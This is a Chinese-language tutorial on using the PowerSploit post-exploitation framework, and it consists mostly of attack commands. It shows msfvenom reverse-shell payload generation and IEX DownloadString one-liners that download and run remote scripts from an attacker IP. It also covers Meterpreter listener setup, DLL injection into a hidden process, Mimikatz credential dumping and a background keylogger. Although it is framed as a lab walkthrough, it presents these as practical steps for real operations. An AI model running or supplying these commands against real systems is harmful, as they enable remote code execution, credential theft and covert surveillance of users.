PowerSploit攻击

简介

PowerSploit是一款后渗透框架，主要用于信息侦察、权限提升、权限维持。它在github上可以下载

各模块功能

模块	功能
AntivirusBypass	发现杀毒软件的查杀特征
CodeExecution	在目标主机上执行代码
Exfiltration	目标主机上的信息搜集工具
Mayhem	蓝屏等破坏性脚本
Persistence	后门脚本
Recon	以目标主机为跳板进行内网信息侦察
ScriptModification	在目标主机上创建或修改脚本

Invoke-Shellcode

首先我们在msf上开启监听

然后使用如下命令生成一个powershell木马

msfvenom -p windows/meterpreter/reverse_http lhost=172.16.179.87 lport=4444 -f powershell -o /var/www/html/test

然后我们使用powershell在目标机器上进行远程加载，并强制执行

IEX (New-Object System.Net.WebClient).DownloadString("http://172.16.179.87/Invoke-Shellcode.ps1")
IEX (New-Object System.Net.WebClient).DownloadString("http://172.16.179.87/test")
Invoke-Shellcode -Shellcode ($buf) -Force

发现kali已经返回了一个shell

Invoke-DllInjection

我们先将invoke-dllinjection这个文件加载过来，然后隐蔽地开启一个notepad进程

IEX (New-Object System.Net.WebClient).DownloadString("http://172.16.179.87/Invoke-DllInjection.ps1")
start-process C:\Windows\system32\notepad.exe -WindowStyle Hidden
get-process

kali的设置

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.179.87 lport=4444 -f dll -o /var/www/html/test.dll
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.179.87
set lport 4444
run

我们将test.dll文件上传到目标C盘上

然后我们使用如下命令，进行注入

Invoke-DllInjection -ProcessID 3132 -Dll C:\test.dll

kali获得一个反弹的shell

Invoke-Portscan

首先我们先远程加载一下，然后运行运行以下命令扫描主机

IEX (New-Object System.Net.WebClient).DownloadString("http://172.16.179.87:8000/PowerSploit/Recon/Invoke-Portscan.ps1")
Invoke-Portscan -Host 172.16.179.87

Invoke-Mimikatz

这个脚本是Mimikatz的powershell版本，主要是用于导出票据的。我们先把Invoke-Mimikatz脚本下载到边界服务器上

然后在边界服务器上开启一个服务端，把脚本远程加载到另一台域主机上

IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.108.100:8000/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

Get-Keystrokes

这个脚本用于键盘记录，功能相当强大，不仅有键盘输入记录，甚至能记录鼠标的点击情况，还能记录详细的时间，实战的时候可以直接放入后台运行。

IEX (New-Object System.Net.WebClient).DownloadString("http://172.16.179.87/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -LogPath c:\test1.txt